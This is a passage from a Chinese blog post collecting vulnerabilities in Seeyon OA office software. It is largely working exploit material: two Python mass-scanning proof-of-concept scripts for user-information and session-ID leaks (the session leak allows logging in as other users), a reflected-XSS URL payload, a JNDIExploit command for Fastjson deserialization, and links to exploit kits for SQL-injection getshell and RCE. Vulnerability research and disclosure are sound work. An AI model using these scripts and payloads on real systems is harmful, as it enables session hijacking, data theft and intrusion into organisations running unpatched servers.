title()</span><br><span class="line"> file_name = <span class="built_in">str</span>(<span class="built_in">input</span>(<span class="string">"\033[35mPlease input Attack File\nFile >>> \033[0m"</span>))</span><br><span class="line"> Scan(file_name)</span><br></pre></td></tr></table></figure>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912230542.png"></p>
</li>
</ol>
<h2 id="致远OA-A6-initDataAssess-jsp-存在用户敏感信息泄露"><a href="#致远OA-A6-initDataAssess-jsp-存在用户敏感信息泄露" class="headerlink" title="致远OA A6 initDataAssess.jsp 存在用户敏感信息泄露"></a>致远OA A6 initDataAssess.jsp 存在用户敏感信息泄露</h2><h3 id="漏洞描述-7"><a href="#漏洞描述-7" class="headerlink" title="漏洞描述"></a>漏洞描述</h3><p>致远OA A6 initDataAssess.jsp 存在用户敏感信息泄露，可以通过得到的用户名爆破用户密码进入后台进一步攻击</p>
<h3 id="漏洞影响-3"><a href="#漏洞影响-3" class="headerlink" title="漏洞影响"></a>漏洞影响</h3><p>致远OA A6</p>
<h3 id="9-3-复现流程"><a href="#9-3-复现流程" class="headerlink" title="9.3. 复现流程"></a>9.3. 复现流程</h3><ol>
<li><p>访问如下URL<code>/yyoa/assess/js/initDataAssess.jsp</code>泄漏用户信息</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912230632.png"></p>
<p>可以再利用得到的用户名使用弱口令爆破进入OA进一步攻击</p>
</li>
<li><p>漏洞利用POC</p>
<figure class="highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">from</span> requests.packages.urllib3.exceptions <span class="keyword">import</span> InsecureRequestWarning</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">title</span>():</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'+------------------------------------------'</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'+ \033[34mVersion: 致远OA A6 \033[0m'</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'+ \033[36m使用格式: python3 poc.py \033[0m'</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'+ \033[36mFile >>> ip.txt \033[0m'</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'+------------------------------------------'</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">POC_1</span>(<span class="params">target_url</span>):</span><br><span class="line"> vuln_url = target_url + <span class="string">"/yyoa/assess/js/initDataAssess.jsp"</span></span><br><span class="line"> headers = {</span><br><span class="line"> <span class="string">"User-Agent"</span>: <span class="string">"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36"</span>,</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> requests.packages.urllib3.disable_warnings(InsecureRequestWarning)</span><br><span class="line"> response = requests.get(url=vuln_url, headers=headers, verify=<span class="literal">False</span>, timeout=<span class="number">5</span>)</span><br><span class="line"> <span class="keyword">if</span> <span class="string">"/yyoa/index.jsp"</span> <span class="keyword">not</span> <span class="keyword">in</span> response.text <span class="keyword">and</span> <span class="string">"personList"</span> <span class="keyword">in</span> response.text <span class="keyword">and</span> response.status_code == <span class="number">200</span>:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"\033[32m[o] 目标 {}存在漏洞！\n泄露地址:{} \033[0m"</span>.<span class="built_in">format</span>(target_url, vuln_url))</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"\033[31m[x] 目标 {}不存在漏洞 \033[0m"</span>.<span class="built_in">format</span>(target_url))</span><br><span class="line"> <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"\033[31m[x] 请求失败 \033[0m"</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">Scan</span>(<span class="params">file_name</span>):</span><br><span class="line"> <span class="keyword">with</span> <span class="built_in">open</span>(file_name, <span class="string">"r"</span>, encoding=<span class="string">'utf8'</span>) <span class="keyword">as</span> scan_url:</span><br><span class="line"> <span class="keyword">for</span> url <span class="keyword">in</span> scan_url:</span><br><span class="line"> <span class="keyword">if</span> url[:<span class="number">4</span>] != <span class="string">"http"</span>:</span><br><span class="line"> url = <span class="string">"http://"</span> + url</span><br><span class="line"> url = url.strip(<span class="string">'\n'</span>)</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> POC_1(url)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"\033[31m[x] 请求报错 \033[0m"</span>)</span><br><span class="line"> <span class="keyword">continue</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> title()</span><br><span class="line"> file_name = <span class="built_in">str</span>(<span class="built_in">input</span>(<span class="string">"\033[35mPlease input Attack File\nFile >>> \033[0m"</span>))</span><br><span class="line"> Scan(file_name)</span><br></pre></td></tr></table></figure>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912230732.png"></p>
</li>
</ol>
<h2 id="致远OA-getSessionList-jsp-Session泄漏漏洞"><a href="#致远OA-getSessionList-jsp-Session泄漏漏洞" class="headerlink" title="致远OA getSessionList.jsp Session泄漏漏洞"></a>致远OA getSessionList.jsp Session泄漏漏洞</h2><h3 id="漏洞描述-8"><a href="#漏洞描述-8" class="headerlink" title="漏洞描述"></a>漏洞描述</h3><p>通过使用存在漏洞的请求时，会回显部分用户的Session值，导致出现任意登录的情况。</p>
<p>漏洞代码如下，当cmd参数为getAll时，便可获取到所有用户的SessionID：</p>
<figure class="highlight jsp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><%@ page contentType=<span class="string">"text/html;charset=GBK"</span>%></span><br><span class="line"><%@ page session= <span class="string">"false"</span> %></span><br><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"net.btdz.oa.ext.https.*"</span>%></span><br><span class="line"><%</span><br><span class="line"> <span class="type">String</span> <span class="variable">reqType</span> <span class="operator">=</span> request.getParameter(<span class="string">"cmd"</span>);</span><br><span class="line"> <span class="type">String</span> <span class="variable">outXML</span> <span class="operator">=</span> <span class="string">""</span>;</span><br><span class="line"> <span class="type">boolean</span> <span class="variable">allowHttps</span> <span class="operator">=</span> <span class="literal">true</span>;</span><br><span class="line"> <span class="keyword">if</span>(<span class="string">"allowHttps"</span>.equalsIgnoreCase(reqType)){</span><br><span class="line"> <span class="comment">//add code to judge whether it allow https or not</span></span><br><span class="line"> allowHttps = FetchSessionList.checkHttps();</span><br><span class="line"> <span class="keyword">if</span> (allowHttps) response.setHeader(<span class="string">"AllowHttps"</span>,<span class="string">"1"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span>(<span class="string">"getAll"</span>.equalsIgnoreCase(reqType)){</span><br><span class="line"> outXML = FetchSessionList.getXMLAll();</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span>(<span class="string">"getSingle"</span>.equalsIgnoreCase(reqType)){</span><br><span class="line"> <span class="type">String</span> <span class="variable">sessionId</span> <span class="operator">=</span> request.getParameter(<span class="string">"ssid"</span>);</span><br><span class="line"> <span class="keyword">if</span>(sessionId != <span class="literal">null</span>){</span><br><span class="line"> outXML = FetchSessionList.getXMLBySessionId(sessionId);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span>{</span><br><span class="line"> outXML += <span class="string">"<?xml version=\"1.0\" encoding=\"GB2312\"?>\r\n"</span>;</span><br><span class="line"> outXML += <span class="string">"<SessionList>\r\n"</span>;</span><br><span class="line"><span class="comment">// outXML += "<Session>\r\n";</span></span><br><span class="line"><span class="comment">// outXML += "</Session>\r\n";</span></span><br><span class="line"> outXML += <span class="string">"</SessionList>\r\n"</span>;</span><br><span class="line"> }</span><br><span class="line"> out.println(outXML);</span><br><span class="line">%></span><br></pre></td></tr></table></figure>
<h3 id="漏洞影响-4"><a href="#漏洞影响-4" class="headerlink" title="漏洞影响"></a>漏洞影响</h3><p>致远OA</p>
<h3 id="复现流程-3"><a href="#复现流程-3" class="headerlink" title="复现流程"></a>复现流程</h3><ol>
<li><p>漏洞URL为<code>yyoa/ext/https/getSessionList.jsp</code>，添加cmd参数值为getall，成功获取session，通过替换 Session即可登录系统。</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912230825.png"></p>
</li>
<li><p>漏洞利用POC</p>
<figure class="highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">from</span> requests.packages.urllib3.exceptions <span class="keyword">import</span> InsecureRequestWarning</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">title</span>():</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'+------------------------------------------'</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'+ \033[34mVersion: 致远OA A6 \033[0m'</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'+ \033[36m使用格式: python3 poc.py \033[0m'</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'+ \033[36mFile >>> ip.txt \033[0m'</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'+------------------------------------------'</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">POC_1</span>(<span class="params">target_url</span>):</span><br><span class="line"> vuln_url = target_url + <span class="string">"/yyoa/ext/https/getSessionList.jsp?cmd=getAll"</span></span><br><span class="line"> headers = {</span><br><span class="line"> <span class="string">"User-Agent"</span>: <span class="string">"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36"</span>,</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> requests.packages.urllib3.disable_warnings(InsecureRequestWarning)</span><br><span class="line"> response = requests.get(url=vuln_url, headers=headers, verify=<span class="literal">False</span>, timeout=<span class="number">5</span>)</span><br><span class="line"> <span class="keyword">if</span> <span class="string">"/yyoa/index.jsp"</span> <span class="keyword">not</span> <span class="keyword">in</span> response.text <span class="keyword">and</span> <span class="string">"<sessionID>"</span> <span class="keyword">in</span> response.text <span class="keyword">and</span> response.status_code == <span class="number">200</span>:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"\033[32m[o] 目标 {}存在漏洞,Session地址:{} \033[0m"</span>.<span class="built_in">format</span>(target_url, vuln_url))</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"\033[31m[x] 目标 {}不存在漏洞 \033[0m"</span>.<span class="built_in">format</span>(target_url))</span><br><span class="line"> <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"\033[31m[x] 请求失败 \033[0m"</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">Scan</span>(<span class="params">file_name</span>):</span><br><span class="line"> <span class="keyword">with</span> <span class="built_in">open</span>(file_name, <span class="string">"r"</span>, encoding=<span class="string">'utf8'</span>) <span class="keyword">as</span> scan_url:</span><br><span class="line"> <span class="keyword">for</span> url <span class="keyword">in</span> scan_url:</span><br><span class="line"> <span class="keyword">if</span> url[:<span class="number">4</span>] != <span class="string">"http"</span>:</span><br><span class="line"> url = <span class="string">"http://"</span> + url</span><br><span class="line"> url = url.strip(<span class="string">'\n'</span>)</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> POC_1(url)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"\033[31m[x] 请求报错 \033[0m"</span>)</span><br><span class="line"> <span class="keyword">continue</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> title()</span><br><span class="line"> file_name = <span class="built_in">str</span>(<span class="built_in">input</span>(<span class="string">"\033[35mPlease input Attack File\nFile >>> \033[0m"</span>))</span><br><span class="line"> Scan(file_name)</span><br></pre></td></tr></table></figure>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912230907.png"></p>
</li>
</ol>
<h2 id="致远OA帆软报表组件反射型XSS漏洞"><a href="#致远OA帆软报表组件反射型XSS漏洞" class="headerlink" title="致远OA帆软报表组件反射型XSS漏洞"></a>致远OA帆软报表组件反射型XSS漏洞</h2><h3 id="漏洞描述-9"><a href="#漏洞描述-9" class="headerlink" title="漏洞描述"></a>漏洞描述</h3><p>致远OA <code>/seeyonreport</code> 路径下的组件其实是集成的 帆软报表，存在反射型XSS漏洞。</p>
<h3 id="漏洞影响-5"><a href="#漏洞影响-5" class="headerlink" title="漏洞影响"></a>漏洞影响</h3><p>致远A8-V5 V5.6 SP1 </p>
<p>致远A8-V5 V6.1 SP2</p>
<h3 id="复现流程-4"><a href="#复现流程-4" class="headerlink" title="复现流程"></a>复现流程</h3><ol>
<li><p>使用如下POC可进行反射型XSS攻击</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/seeyonreport/ReportServer?reportlet=&__parameters__={"isSubReport"%3a"true"%2c"TEMPLATEID"%3a"1"%2c"MEMBERID"%3a"<img src%3dx onerror%3dalert('xss')>"%2c"A8SERVERIP"%3a"baidu.com"%2c"A8SERVERPORT"%3a"80"}</span><br></pre></td></tr></table></figure>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912230957.png"></p>
</li>
</ol>
<h1 id="综合利用EXP"><a href="#综合利用EXP" class="headerlink" title="综合利用EXP"></a>综合利用EXP</h1><ol>
<li><p>github上综合利用EXP1：<a target="_blank" rel="noopener" href="https://github.com/asdasdqkq1/yonyou-nc-exp">https://github.com/asdasdqkq1/yonyou-nc-exp</a></p>
<p>涉及漏洞包括：</p>
<ul>
<li><p>致远OA A8 状态监控页面信息泄露</p>
</li>
<li><p>致远OA A6 initDataAssess.jsp 用户敏感信息泄露</p>
</li>
<li><p>致远OA A6 createMysql.jsp 数据库敏感信息泄露</p>
</li>
<li><p>致远OA A6 DownExcelBeanServlet 用户敏感信息泄露</p>
</li>
<li><p>致远OA getSessionList.jsp Session泄漏漏洞</p>
</li>
<li><p>致远OA A6 setextno.jsp SQL注入漏洞</p>
</li>
<li><p>致远OA A6 test.jsp SQL注入漏洞</p>
</li>
<li><p>致远OA ajax.do 登录绕过&任意文件上传</p>
</li>
<li><p>致远OA Session泄露 任意文件上传漏洞</p>
</li>
<li><p>致远OA webmail.do任意文件下载</p>
</li>
</ul>
</li>
<li><p>github上综合利用EXP2：<a target="_blank" rel="noopener" href="https://github.com/z1un/seeyou_exp">https://github.com/z1un/seeyou_exp</a></p>
<ul>
<li><p>致远OA A6 createMysql数据库敏感信息泄露 </p>
</li>
<li><p>致远OA A6 DownExcelBeanServlet用户敏感信息下载</p>
</li>
<li><p>致远OA A6 initDataAssess用户敏感信息泄露</p>
</li>
<li><p>致远OA A6 setextno SQL注入Getshell</p>
</li>
<li><p>致远OA A6 test SQL注入Getshell</p>
</li>
<li><p>致远OA A8 htmlofficeservlet RCE</p>
</li>
<li><p>致远OA getSessionList Session泄漏</p>
</li>
<li><p>致远OA ajax 登录绕过 任意文件上传</p>
</li>
<li><p>致远OA webmail任意文件下载</p>
</li>
<li><p>致远OA Session泄露 任意文件上传 </p>
</li>
<li><p>致远OA Fastjson反序列化</p>
<p>其中致远OA Fastjson 反序列化漏洞没有实现自动化，可利用工具：<a target="_blank" rel="noopener" href="https://github.com/feihong-cs/JNDIExploit">JNDIExploit</a></p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -jar JNDIExploit-<span class="number">1.2</span>-SNAPSHOT.jar -i <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span> -l <span class="number">1389</span> -p <span class="number">1289</span></span><br></pre></td></tr></table></figure>
<p>先在vps运行以上JNDI反序列化漏洞利用工具，然后复制脚本提供的Payload，替换ldap链接到BurpSuite中发包测试发包，可回显。</p>
</li>
</ul>
</li>
</ol>
<p><strong>注：仅当作技术研究，请勿用于非法用途 后果作者概不负责！！！</strong></p>
</div>
<div>
<ul class="post-copyright">
<li class="post-copyright-author">
<strong>本文作者： </strong>李钰璕
</li>
<li class="post-copyright-link">
<strong>本文链接：</strong>
<a href="https://leeyuxun.github.io/%E8%87%B4%E8%BF%9COA%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88.html" title="致远OA漏洞集合">https://leeyuxun.github.io/致远OA漏洞集合.html</a>
</li>
<li class="post-copyright-license">
<strong>版权声明： </strong>本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/zh-cn" rel="noopener" target="_blank"><i class="fab fa-fw fa-creative-commons"></i>BY-NC-SA</a> 许可协议。转载请注明出处！
</li>
</ul>
</div>
<footer class="post-footer">
<div class="post-tags">
<a href="/tags/%E6%BC%8F%E6%B4%9E-%E8%87%B4%E8%BF%9COA/" rel="tag"><i class="fa fa-tag"></i> 漏洞 致远OA</a>
</div>
<div class="post-nav">
<div class="post-nav-item">
<a href="/%E8%9C%82%E7%BD%91%E4%BC%81%E4%B8%9A%E7%BA%A7%E8%B7%AF%E7%94%B1%E5%99%A8%E6%BC%8F%E6%B4%9E.html" rel="prev" title="蜂网企业级路由器漏洞">
<i class="fa fa-chevron-left"></i> 蜂网企业级路由器漏洞
</a></div>
<div class="post-nav-item">
<a href="/%E7%94%A8%E5%8F%8BNC%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88.html" rel="next" title="用友NC漏洞集合">
用友NC漏洞集合 <i class="fa fa-chevron-right"></i>
</a></div>
</div>
</footer>
</article>
</div>
<script>
window.addEventListener('tabs:register', () => {
let { activeClass } = CONFIG.comments;
if (CONFIG.comments.storage) {
activeClass = localStorage.getItem('comments_active') || activeClass;
}
if (activeClass) {
let activeTab = document.querySelector(`a[href="#comment-${activeClass}"]`);
if (activeTab) {
activeTab.click();
}
}
});
if (CONFIG.comments.storage) {
window.addEventListener('tabs:click', event => {
if (!event.target.matches('.tabs-comment .tab-content .tab-pane')) return;
let commentClass = event.target.classList[1];
localStorage.setItem('comments_active', commentClass);
});
}
</script>
</div>
<div class="toggle sidebar-toggle">
<span class="toggle-line toggle-line-first"></span>
<span class="toggle-line toggle-line-middle"></span>
<span class="toggle-line toggle-line-last"></span>
</div>
<aside class="sidebar">
<div class="sidebar-inner">
<ul class="sidebar-nav motion-element">
<li class="sidebar-nav-toc">
文章目录
</li>
<li class="sidebar-nav-overview">
站点概览
</li>
</ul>
<!--noindex-->
<div class="post-toc-wrap sidebar-panel">
<div class="post-toc motion-element"><ol class="nav"><li class="nav-item nav-level-2"><a class="nav-link" href="#%E3%80%90CNVD-2019-19299%E3%80%91%E8%87%B4%E8%BF%9COA-A8%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E"><span class="nav-number">1.</span> <span class="nav-text">【CNVD-2019-19299】致远OA A8远程命令执行漏洞</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#%E6%BC%8F%E6%B4%9E%E6%8F%8F%E8%BF%B0"><span class="nav-number">1.1.</span> <span class="nav-text">漏洞描述</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E5%BD%B1%E5%93%8D%E7%89%88%E6%9C%AC"><span class="nav-number">1.2.</span> <span class="nav-text">影响版本</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E5%A4%8D%E7%8E%B0%E8%BF%87%E7%A8%8B"><span class="nav-number">1.3.</span> <span class="nav-text">复现过程</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E3%80%90CNVD-2021-01627%E3%80%91%E8%87%B4%E8%BF%9COA-ajax-do%E7%99%BB%E5%BD%95%E7%BB%95%E8%BF%87-%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E"><span class="nav-number">2.</span> <span class="nav-text">【CNVD-2021-01627】致远OA ajax.do登录绕过 任意文件上传漏洞</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#%E6%BC%8F%E6%B4%9E%E6%8F%8F%E8%BF%B0-1"><span class="nav-number">2.1.</span> <span class="nav-text">漏洞描述</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E5%BD%B1%E5%93%8D%E7%89%88%E6%9C%AC-1"><span class="nav-number">2.2.</span> <span class="nav-text">影响版本</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E5%A4%8D%E7%8E%B0%E8%BF%87%E7%A8%8B-1"><span class="nav-number">2.3.</span> <span class="nav-text">复现过程</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E3%80%90CNVD-2020-62422%E3%80%91%E8%87%B4%E8%BF%9COA-webmail-do%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD%E6%BC%8F%E6%B4%9E"><span class="nav-number">3.</span> <span class="nav-text">【CNVD-2020-62422】致远OA webmail.do任意文件下载漏洞</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#%E6%BC%8F%E6%B4%9E%E6%8F%8F%E8%BF%B0-2"><span class="nav-number">3.1.</span> <span class="nav-text">漏洞描述</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E5%BD%B1%E5%93%8D%E7%89%88%E6%9C%AC-2"><span class="nav-number">3.2.</span> <span class="nav-text">影响版本</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E5%A4%8D%E7%8E%B0%E8%BF%87%E7%A8%8B-2"><span class="nav-number">3.3.</span> <span class="nav-text">复现过程</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E8%87%B4%E8%BF%9COA-A6-setextno-jsp-SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E"><span class="nav-number">4.</span> <span class="nav-text">致远OA A6 setextno.jsp SQL注入漏洞</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#%E6%BC%8F%E6%B4%9E%E6%8F%8F%E8%BF%B0-3"><span class="nav-number">4.1.</span> <span class="nav-text">漏洞描述</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E6%BC%8F%E6%B4%9E%E5%BD%B1%E5%93%8D"><span class="nav-number">4.2.</span> <span class="nav-text">漏洞影响</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E5%A4%8D%E7%8E%B0%E6%B5%81%E7%A8%8B"><span class="nav-number">4.3.</span> <span class="nav-text">复现流程</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E8%87%B4%E8%BF%9COA-A6-createMysql-jsp-%E6%95%B0%E6%8D%AE%E5%BA%93%E6%95%8F%E6%84%9F%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2"><span class="nav-number">5.</span> <span class="nav-text">致远OA A6 createMysql.jsp 数据库敏感信息泄露</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#%E6%BC%8F%E6%B4%9E%E6%8F%8F%E8%BF%B0-4"><span class="nav-number">5.1.</span> <span class="nav-text">漏洞描述</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E6%BC%8F%E6%B4%9E%E5%BD%B1%E5%93%8D-1"><span class="nav-number">5.2.</span> <span class="nav-text">漏洞影响</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E5%A4%8D%E7%8E%B0%E6%B5%81%E7%A8%8B-1"><span class="nav-number">5.3.</span> <span class="nav-text">复现流程</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E8%87%B4%E8%BF%9COA-A8-%E7%8A%B6%E6%80%81%E7%9B%91%E6%8E%A7%E9%A1%B5%E9%9D%A2%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2"><span class="nav-number">6.</span> <span class="nav-text">致远OA A8 状态监控页面信息泄露</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#%E6%BC%8F%E6%B4%9E%E6%8F%8F%E8%BF%B0-5"><span class="nav-number">6.1.</span> <span class="nav-text">漏洞描述</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E5%BD%B1%E5%93%8D%E7%89%88%E6%9C%AC-3"><span class="nav-number">6.2.</span> <span class="nav-text">影响版本</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E5%A4%8D%E7%8E%B0%E8%BF%87%E7%A8%8B-3"><span class="nav-number">6.3.</span> <span class="nav-text">复现过程</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E8%87%B4%E8%BF%9COA-A6-DownExcelBeanServlet-%E7%94%A8%E6%88%B7%E6%95%8F%E6%84%9F%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2"><span class="nav-number">7.</span> <span class="nav-text">致远OA A6 DownExcelBeanServlet 用户敏感信息泄露</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#%E6%BC%8F%E6%B4%9E%E6%8F%8F%E8%BF%B0-6"><span class="nav-number">7.1.</span> <span class="nav-text">漏洞描述</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E6%BC%8F%E6%B4%9E%E5%BD%B1%E5%93%8D-2"><span class="nav-number">7.2.</span> <span class="nav-text">漏洞影响</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E5%A4%8D%E7%8E%B0%E6%B5%81%E7%A8%8B-2"><span class="nav-number">7.3.</span> <span class="nav-text">复现流程</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E8%87%B4%E8%BF%9COA-A6-initDataAssess-jsp-%E5%AD%98%E5%9C%A8%E7%94%A8%E6%88%B7%E6%95%8F%E6%84%9F%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2"><span class="nav-number">8.</span> <span class="nav-text">致远OA A6 initDataAssess.jsp 存在用户敏感信息泄露</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" 